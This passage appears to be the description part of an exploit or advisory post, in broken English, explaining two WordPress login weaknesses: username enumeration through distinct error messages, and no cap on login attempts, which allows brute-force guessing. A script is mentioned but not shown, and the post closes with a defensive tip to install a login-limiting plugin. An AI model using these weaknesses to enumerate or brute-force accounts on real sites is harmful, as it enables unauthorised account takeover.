...::[ Descriprion ]::..

What I am about to describe is not a new thing, but I wanted to create
this simple script,
to show how easily it is possible to violate famous as a cms wordpress,
unfortunately like most of you know wordpress has some minor problems
related to the security module login,
in practice as you will see in the picture any user can discover a
user actually
exists simply trying to enter any passwords, because if the CMS
recognizes that the user is present
in the database but the password is wrong return this message "the
password for the admin user is not correct ",
so this makes us understand that the admin user exists,
and that you need only enter the correct password. Another small flaw
security of this CMS
is that it has no control on the default login attemps,
this allows a attaker do not want all the attempts that never stopped coming,
a TIP that I give to all those who use this cms is to install a plugin
for login attemps,
we find several directories inside the plugins wordpress.org
